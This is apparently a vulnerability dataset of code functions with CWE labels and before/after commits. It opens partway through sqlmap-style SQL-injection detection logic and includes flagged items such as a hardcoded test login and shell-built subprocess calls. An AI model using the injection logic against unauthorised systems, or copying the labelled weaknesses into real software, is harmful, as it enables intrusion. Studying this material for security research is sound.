origValue = kb.data.randomInt[:6]
elif conf.invalidString:
origValue = kb.data.randomStr[:6]
else:
origValue = ""-%s"" % kb.data.randomInt[:4]
templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = """"
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' ' string
if fstPayload:
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload:
stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?.\g<4>"", reqPayload)
if stripPayload in seenPayload:
continue
else:
seenPayload.add(stripPayload)
else:
reqPayload = None
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
if not kb.negativeLogic:
try:
ratio = 1.0
seqMatcher = getCurrentThreadData().seqMatcher
for current in (kb.originalPage, kb.heuristicPage):
seqMatcher.set_seq1(current or """")
seqMatcher.set_seq2(falsePage or """")
ratio *= seqMatcher.quick_ratio()
if ratio == 1.0:
continue
except (MemoryError, OverflowError):
pass
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
trueRawResponse = ""%s%s"" % (trueHeaders, truePage)
if trueResult and not(truePage == falsePage and not kb.nullConnection):
# Perform the test's False request
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
if not falseResult:
if kb.negativeLogic:
boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult:
continue
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
if (_ or 0) > (kb.matchRatio or 0):
kb.matchRatio = _
logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)
# Reducing false-positive ""appears"" messages in heavily dynamic environment
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
continue
injectable = True
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
else:
errorSet = set()
if originalSet == trueSet != falseSet:
candidates = trueSet - falseSet - errorSet
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
conf.string = candidate
injectable = True
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
logger.info(infoMsg)
break
if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode:
conf.code = trueCode
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
logger.info(infoMsg)
else:
trueSet = set(extractTextTagContent(trueRawResponse))
trueSet |= set(__ for _ in trueSet for __ in _.split())
falseSet = set(extractTextTagContent(falseRawResponse))
falseSet |= set(__ for _ in falseSet for __ in _.split())
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
errorSet |= set(__ for _ in errorSet for __ in _.split())
else:
errorSet = set()
candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r""\A\w{2,}\Z"", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break
conf.string = candidate
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
logger.info(infoMsg)
if not any((conf.string, conf.notString)):
candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r""\A\w+\Z"", candidate):
break
conf.notString = candidate
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
logger.info(infoMsg)
if not any((conf.string, conf.notString, conf.code)):
infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
singleTimeLogMessage(infoMsg)
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's regular expression
try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == ""1""
if result:
infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException as ex:
debugMsg = ""problem occurred most likely because the ""
debugMsg += ""server hasn't recovered as expected from the ""
debugMsg += ""error-based payload used ('%s')"" % getSafeExString(ex)
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
trueCode = threadData.lastCode
if trueResult:
# Extra validation step (e.g. to check for DROP protection mechanisms)
if SLEEP_TIME_MARKER in reqPayload:
falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
if falseResult:
continue
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if len(kb.dbmsFilter or []) == 1:
Backend.forceDbms(kb.dbmsFilter[0])
elif not Backend.getIdentifiedDbms():
if kb.heuristicDbms is None:
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
warnMsg = ""using unescaped version of the test ""
warnMsg += ""because of zero knowledge of the ""
warnMsg += ""back-end DBMS. You can try to ""
warnMsg += ""explicitly set it with option '--dbms'""
singleTimeWarnMessage(warnMsg)
else:
Backend.forceDbms(kb.heuristicDbms)
if unionExtended:
infoMsg = ""automatically extending ranges for UNION ""
infoMsg += ""query injection technique tests as ""
infoMsg += ""there is at least one other (potential) ""
infoMsg += ""technique found""
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, six.string_types):
infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
if conf.offline:
injectable = False
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, ""details""):
for key, value in test.details.items():
if key == ""dbms"":
injection.dbms = value
if not isinstance(value, list):
Backend.setDbms(value)
else:
Backend.forceDbms(value[0], True)
elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(value)
elif key == ""os"" and injection.os is None:
injection.os = Backend.setOs(value)
if vector is None and ""vector"" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.data[stype].trueCode = trueCode
injection.data[stype].falseCode = falseCode
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.code = conf.code
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
logger.info(infoMsg)
try:
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
except Exception as ex:
errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
logger.error(errMsg)
kb.alerted = True
# There is no need to perform this test for other
# tags
break
if injectable is True:
kb.vulnHosts.add(conf.hostname)
break
# Reset forced back-end DBMS value
Backend.flushForcedDbms()
except KeyboardInterrupt:
warnMsg = ""user aborted during detection phase""
logger.warn(warnMsg)
if conf.multipleTargets:
msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
choice = readInput(msg, default='X', checkBatch=False).upper()
else:
msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
choice = readInput(msg, default='S', checkBatch=False).upper()
if choice == 'X':
if conf.multipleTargets:
raise SqlmapSkipTargetException
elif choice == 'C':
choice = None
while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
if choice:
logger.warn(""invalid value"")
msg = ""enter new verbosity level: [0-6] ""
choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
conf.verbose = int(choice)
setVerbosity()
tests.insert(0, test)
elif choice == 'N':
return None
elif choice == 'E':
kb.endDetection = True
elif choice == 'Q':
raise SqlmapUserQuitException
finally:
# Reset forced back-end DBMS value
Backend.flushForcedDbms()
Backend.flushForcedDbms(True)
# Return the injection object
if injection.place is not None and injection.parameter is not None:
if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
warnMsg = ""in OR boolean-based injection cases, please consider usage ""
warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
warnMsg += ""problems during data retrieval""
logger.warn(warnMsg)
if not checkFalsePositives(injection):
kb.vulnHosts.remove(conf.hostname)
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
else:
injection = None
if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
checkSuhosinPatch(injection)
checkFilteredChars(injection)
return injection"
,UNKNOWN,UNKNOWN,tests/core.py,1,"def test_send_smtp(self, mock_send_mime):
attachment = tempfile.NamedTemporaryFile()
attachment.write(b'attachment')
attachment.seek(0)
utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name])
assert mock_send_mime.called
call_args = mock_send_mime.call_args[0]
assert call_args[0] == configuration.get('smtp', 'SMTP_MAIL_FROM')
assert call_args[1] == ['to']
msg = call_args[2]
assert msg['Subject'] == 'subject'
assert msg['From'] == configuration.get('smtp', 'SMTP_MAIL_FROM')
assert len(msg.get_payload()) == 2
assert msg.get_payload()[-1].get(u'Content-Disposition') == \
u'attachment; filename=""' + os.path.basename(attachment.name) + '""'
mimeapp = MIMEApplication('attachment')
assert msg.get_payload()[-1].get_payload() == mimeapp.get_payload()",CWE-703,apache/airflow,9a7801d4ee792372a717e9b1da6daceecb9c3d68,"def test_send_smtp(self, mock_send_mime):
attachment = tempfile.NamedTemporaryFile()
attachment.write(b'attachment')
attachment.seek(0)
utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name])
assert mock_send_mime.called
call_args = mock_send_mime.call_args[0]
assert call_args[0] == configuration.get('smtp', 'SMTP_MAIL_FROM')
assert call_args[1] == ['to']
msg = call_args[2]
assert msg['Subject'] == 'subject'
assert msg['From'] == configuration.get('smtp', 'SMTP_MAIL_FROM')
assert len(msg.get_payload()) == 2
mimeapp = MIMEApplication('attachment')
assert msg.get_payload()[-1].get_payload() == mimeapp.get_payload()"
,UNKNOWN,UNKNOWN,airflow/api_fastapi/core_api/routes/public/dags.py,1,"def get_dag_tags(
limit: QueryLimit,
offset: QueryOffset,
order_by: Annotated[
SortParam,
Depends(
SortParam(
[""name""],
DagTag,
).dynamic_depends()
),
],
tag_name_pattern: QueryDagTagPatternSearch,
session: Annotated[Session, Depends(get_session)],
) -> DAGTagCollectionResponse:
""""""Get all DAG tags.""""""
base_select = select(DagTag.name).group_by(DagTag.name)
dag_tags_select, total_entries = paginated_select(
select=base_select,
filters=[tag_name_pattern],
order_by=order_by,
offset=offset,
limit=limit,
session=session,
)
dag_tags = session.execute(dag_tags_select).scalars().all()
return DAGTagCollectionResponse(tags=[x for x in dag_tags], total_entries=total_entries)",CWE-89,apache/airflow,22d1406af24c3741134ac4fb9f2f49e9a41d03eb,"def get_dag_tags(
limit: QueryLimit,
offset: QueryOffset,
order_by: Annotated[
SortParam,
Depends(
SortParam(
[""name""],
DagTag,
).dynamic_depends()
),
],
tag_name_pattern: QueryDagTagPatternSearch,
session: Annotated[Session, Depends(get_session)],
) -> DAGTagCollectionResponse:
""""""Get all DAG tags.""""""
base_select = select(DagTag.name).group_by(DagTag.name)
dag_tags_select, total_entries = paginated_select(
select=base_select,
filters=[tag_name_pattern],
order_by=order_by,
offset=offset,
limit=limit,
session=session,
)
dag_tags = session.execute(dag_tags_select).scalars().all()
return DAGTagCollectionResponse(tags=[dag_tag for dag_tag in dag_tags], total_entries=total_entries)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/test_virtual.py,0,"def __virtual__():
return False",,saltstack/salt,67473c5408a76bccd2c50c1d8691dec26b3102c7,"def __virtual__():
return False"
,UNKNOWN,UNKNOWN,tests/recipes/test_execution_utils.py,1,"def test_execution_plan():
train_subgraph = [""ingest"", ""split"", ""transform"", ""train"", ""evaluate"", ""register""]
# all steps are cached
plan = _ExecutionPlan(""register"", [""make: `register' is up to date.""], train_subgraph)
assert plan.steps_cached == train_subgraph
# all steps will be executed
plan = _ExecutionPlan(
""transform"",
[
'echo ""Run MLFlow Recipe step: ingest""\n',
'echo ""Run MLFlow Recipe step: split""\n',
'echo ""Run MLFlow Recipe step: transform""\n',
],
train_subgraph,
)
assert plan.steps_cached == []
plan = _ExecutionPlan(
""transform"", ['echo ""Run MLFlow Recipe step: transform""\n'], train_subgraph
)
assert plan.steps_cached == [""ingest"", ""split""]",CWE-703,mlflow/mlflow,a54cf7f86a39a51c4e508ea441ecf298e844c094,"def test_execution_plan():
train_subgraph = [""ingest"", ""split"", ""transform"", ""train"", ""evaluate"", ""register""]
# all steps are cached
plan = _ExecutionPlan(""register"", [""make: `register' is up to date.""], train_subgraph)
assert plan.steps_cached == train_subgraph
# all steps will be executed
plan = _ExecutionPlan(
""transform"",
[
""# Run MLFlow Recipe step: ingest\n"",
""# Run MLFlow Recipe step: split\n"",
""# Run MLFlow Recipe step: transform\n"",
],
train_subgraph,
)
assert plan.steps_cached == []
plan = _ExecutionPlan(""transform"", [""# Run MLFlow Recipe step: transform\n""], train_subgraph)
assert plan.steps_cached == [""ingest"", ""split""]"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/options_test.py,0,"def test_error_redefine_underscore(self):
# Ensure that the dash/underscore normalization doesn't
# interfere with the redefinition error.
tests = [
('foo-bar', 'foo-bar'),
('foo_bar', 'foo_bar'),
('foo-bar', 'foo_bar'),
('foo_bar', 'foo-bar'),
]
for a, b in tests:
with subTest(self, a=a, b=b):
options = OptionParser()
options.define(a)
with self.assertRaises(Error) as cm:
options.define(b)
self.assertRegexpMatches(str(cm.exception),
'Option.*foo.bar.*already defined')",CWE-Unknown,tornadoweb/tornado,61bfba41f283340a223f1e31d3691cee12916065,"def test_error_redefine_underscore(self):
# Ensure that the dash/underscore normalization doesn't
# interfere with the redefinition error.
tests = [
('foo-bar', 'foo-bar'),
('foo_bar', 'foo_bar'),
('foo-bar', 'foo_bar'),
('foo_bar', 'foo-bar'),
]
for a, b in tests:
with subTest(self, a=a, b=b):
options = OptionParser()
options.define(a)
with self.assertRaises(Error) as cm:
options.define(b)
self.assertRegexpMatches(str(cm.exception),
'Option.*foo.bar.*already defined')"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/log/test_stackdriver_task_handler_system.py,1,"def test_should_support_key_auth(self, session):
with mock.patch.dict(
""os.environ"",
AIRFLOW__LOGGING__REMOTE_LOGGING=""true"",
AIRFLOW__LOGGING__REMOTE_BASE_LOG_FOLDER=f""stackdriver://{self.log_name}"",
AIRFLOW__LOGGING__GOOGLE_KEY_PATH=resolve_full_gcp_key_path(GCP_STACKDRIVER),
AIRFLOW__CORE__LOAD_EXAMPLES=""false"",
AIRFLOW__CORE__DAGS_FOLDER=example_complex.__file__,
):
assert subprocess.Popen([""airflow"", ""dags"", ""trigger"", ""example_complex""]).wait() == 0
assert subprocess.Popen([""airflow"", ""scheduler"", ""--num-runs"", ""1""]).wait() == 0
ti = session.query(TaskInstance).filter(TaskInstance.task_id == ""create_entry_group"").first()
self.assert_remote_logs(""terminated with exit code 0"", ti)",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_support_key_auth(self, session):
with mock.patch.dict(
""os.environ"",
AIRFLOW__LOGGING__REMOTE_LOGGING=""true"",
AIRFLOW__LOGGING__REMOTE_BASE_LOG_FOLDER=f""stackdriver://{self.log_name}"",
AIRFLOW__LOGGING__GOOGLE_KEY_PATH=resolve_full_gcp_key_path(GCP_STACKDRIVER),
AIRFLOW__CORE__LOAD_EXAMPLES=""false"",
AIRFLOW__CORE__DAGS_FOLDER=example_complex.__file__,
):
assert 0 == subprocess.Popen([""airflow"", ""dags"", ""trigger"", ""example_complex""]).wait()
assert 0 == subprocess.Popen([""airflow"", ""scheduler"", ""--num-runs"", ""1""]).wait()
ti = session.query(TaskInstance).filter(TaskInstance.task_id == ""create_entry_group"").first()
self.assert_remote_logs(""terminated with exit code 0"", ti)"
,UNKNOWN,UNKNOWN,tests/www_rbac/test_views.py,1,"def add_permission_for_role(self):
self.logout()
self.login(username='test',
password='test')
perm_on_dag = self.appbuilder.sm.\
find_permission_view_menu('can_dag_edit', 'example_bash_operator')
dag_tester_role = self.appbuilder.sm.find_role('dag_acl_tester')
self.appbuilder.sm.add_permission_role(dag_tester_role, perm_on_dag)
perm_on_all_dag = self.appbuilder.sm.\
find_permission_view_menu('can_dag_edit', 'all_dags')
all_dag_role = self.appbuilder.sm.find_role('all_dag_role')
self.appbuilder.sm.add_permission_role(all_dag_role, perm_on_all_dag)
role_user = self.appbuilder.sm.find_role('User')
self.appbuilder.sm.add_permission_role(role_user, perm_on_all_dag)
read_only_perm_on_dag = self.appbuilder.sm.\
find_permission_view_menu('can_dag_read', 'example_bash_operator')
dag_read_only_role = self.appbuilder.sm.find_role('dag_acl_read_only')
self.appbuilder.sm.add_permission_role(dag_read_only_role, read_only_perm_on_dag)",CWE-259,apache/airflow,9d68b3a2e847589ed11911e5f7312d232bd43485,"def add_permission_for_role(self):
self.logout()
self.login(username='test',
password='test')
perm_on_dag = self.appbuilder.sm.\
find_permission_view_menu('can_dag_edit', 'example_bash_operator')
dag_tester_role = self.appbuilder.sm.find_role('dag_acl_tester')
self.appbuilder.sm.add_permission_role(dag_tester_role, perm_on_dag)
perm_on_all_dag = self.appbuilder.sm.\
find_permission_view_menu('can_dag_edit', 'all_dags')
all_dag_role = self.appbuilder.sm.find_role('all_dag_role')
self.appbuilder.sm.add_permission_role(all_dag_role, perm_on_all_dag)
read_only_perm_on_dag = self.appbuilder.sm.\
find_permission_view_menu('can_dag_read', 'example_bash_operator')
dag_read_only_role = self.appbuilder.sm.find_role('dag_acl_read_only')
self.appbuilder.sm.add_permission_role(dag_read_only_role, read_only_perm_on_dag)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/sessions/tests.py,0,"def test_flush(self):
self.session['foo'] = 'bar'
self.session.save()
prev_key = self.session.session_key
self.session.flush()
self.assertFalse(self.session.exists(prev_key))
self.assertNotEqual(self.session.session_key, prev_key)
self.assertIsNone(self.session.session_key)
self.assertTrue(self.session.modified)
self.assertTrue(self.session.accessed)",CWE-Unknown,django/django,575f59f9bc7c59a5e41a081d1f5f55fc859c5012,"def test_flush(self):
self.session['foo'] = 'bar'
self.session.save()
prev_key = self.session.session_key
self.session.flush()
self.assertFalse(self.session.exists(prev_key))
self.assertNotEqual(self.session.session_key, prev_key)
self.assertTrue(self.session.modified)
self.assertTrue(self.session.accessed)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/staticfiles_tests/test_management.py,0,"def test_dir_not_exists(self, **kwargs):
shutil.rmtree(six.text_type(settings.STATIC_ROOT))
super(TestCollectionClear, self).run_collectstatic(clear=True)",CWE-Unknown,django/django,b4bb2ad13d178dd2db484c7721fd47aa3d285908,"def test_dir_not_exists(self, **kwargs):
shutil.rmtree(six.text_type(settings.STATIC_ROOT))
super(TestCollectionClear, self).run_collectstatic(clear=True)"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_min(cachedir, extra_mods='', overwrite=False, so_mods='',
python2_bin='python2', python3_bin='python3'):
'''
Generate the salt-min tarball and print the location of the tarball
Optional additional mods to include (e.g. mako) can be supplied as a comma
delimited string. Permits forcing an overwrite of the output file as well.
CLI Example:
.. code-block:: bash
salt-run min.generate
salt-run min.generate mako
salt-run min.generate mako,wempy 1
salt-run min.generate overwrite=1
'''
mindir = os.path.join(cachedir, 'min')
if not os.path.isdir(mindir):
os.makedirs(mindir)
mintar = os.path.join(mindir, 'min.tgz')
minver = os.path.join(mindir, 'version')
pyminver = os.path.join(mindir, '.min-gen-py-version')
salt_call = os.path.join(mindir, 'salt-call')
with salt.utils.files.fopen(salt_call, 'w+') as fp_:
fp_.write(SALTCALL)
if os.path.isfile(mintar):
if not overwrite:
if os.path.isfile(minver):
with salt.utils.files.fopen(minver) as fh_:
overwrite = fh_.read() != salt.version.__version__
if overwrite is False and os.path.isfile(pyminver):
with salt.utils.files.fopen(pyminver) as fh_:
overwrite = fh_.read() != str(sys.version_info[0])
else:
overwrite = True
if overwrite:
try:
os.remove(mintar)
except OSError:
pass
else:
return mintar
if _six.PY3:
# Let's check for the minimum python 2 version requirement, 2.6
py_shell_cmd = (
python2_bin + ' -c \'from __future__ import print_function; import sys; '
'print(""{0}.{1}"".format(*(sys.version_info[:2])));\''
)
cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
stdout, _ = cmd.communicate()
if cmd.returncode == 0:
py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
if py2_version < (2, 6):
# Bail!
raise salt.exceptions.SaltSystemExit(
'The minimum required python version to run salt-ssh is ""2.6"".'
'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
'--python2-bin="".'.format(python2_bin,
stdout.strip())
)
elif sys.version_info < (2, 6):
# Bail! Though, how did we reached this far in the first place.
raise salt.exceptions.SaltSystemExit(
'The minimum required python version to run salt-ssh is ""2.6"".'
)
tops_py_version_mapping = {}
tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
if _six.PY2:
tops_py_version_mapping['2'] = tops
else:
tops_py_version_mapping['3'] = tops
# TODO: Consider putting known py2 and py3 compatible libs in it's own sharable directory.
# This would reduce the min size.
if _six.PY2 and sys.version_info[0] == 2:
# Get python 3 tops
py_shell_cmd = (
python3_bin + ' -c \'import sys; import json; import salt.utils.thin; '
'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
'\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
)
cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = cmd.communicate()
if cmd.returncode == 0:
try:
tops = salt.utils.json.loads(stdout)
tops_py_version_mapping['3'] = tops
except ValueError:
pass
if _six.PY3 and sys.version_info[0] == 3:
# Get python 2 tops
py_shell_cmd = (
python2_bin + ' -c \'from __future__ import print_function; '
'import sys; import json; import salt.utils.thin; '
'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
'\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
)
cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = cmd.communicate()
if cmd.returncode == 0:
try:
tops = salt.utils.json.loads(stdout.decode('utf-8'))
tops_py_version_mapping['2'] = tops
except ValueError:
pass
tfp = tarfile.open(mintar, 'w:gz', dereference=True)
try: # cwd may not exist if it was removed but salt was run from it
start_dir = os.getcwd()
except OSError:
start_dir = None
tempdir = None
# This is the absolute minimum set of files required to run salt-call
min_files = (
'salt/__init__.py',
'salt/utils',
'salt/utils/__init__.py',
'salt/utils/validate',
'salt/utils/validate/__init__.py',
'salt/utils/validate/path.py',
'salt/utils/decorators',
'salt/utils/decorators/__init__.py',
'salt/utils/cache.py',
'salt/utils/xdg.py',
'salt/utils/odict.py',
'salt/utils/minions.py',
'salt/utils/dicttrim.py',
'salt/utils/sdb.py',
'salt/utils/migrations.py',
'salt/utils/files.py',
'salt/utils/parsers.py',
'salt/utils/locales.py',
'salt/utils/lazy.py',
'salt/utils/s3.py',
'salt/utils/dictupdate.py',
'salt/utils/verify.py',
'salt/utils/args.py',
'salt/utils/kinds.py',
'salt/utils/xmlutil.py',
'salt/utils/debug.py',
'salt/utils/jid.py',
'salt/utils/openstack',
'salt/utils/openstack/__init__.py',
'salt/utils/openstack/swift.py',
'salt/utils/async.py',
'salt/utils/process.py',
'salt/utils/jinja.py',
'salt/utils/rsax931.py',
'salt/utils/context.py',
'salt/utils/minion.py',
'salt/utils/error.py',
'salt/utils/aws.py',
'salt/utils/timed_subprocess.py',
'salt/utils/zeromq.py',
'salt/utils/schedule.py',
'salt/utils/url.py',
'salt/utils/yamlencoding.py',
'salt/utils/network.py',
'salt/utils/http.py',
'salt/utils/gzip_util.py',
'salt/utils/vt.py',
'salt/utils/templates.py',
'salt/utils/aggregation.py',
'salt/utils/yaml.py',
'salt/utils/yamldumper.py',
'salt/utils/yamlloader.py',
'salt/utils/event.py',
'salt/utils/state.py',
'salt/serializers',
'salt/serializers/__init__.py',
'salt/serializers/yamlex.py',
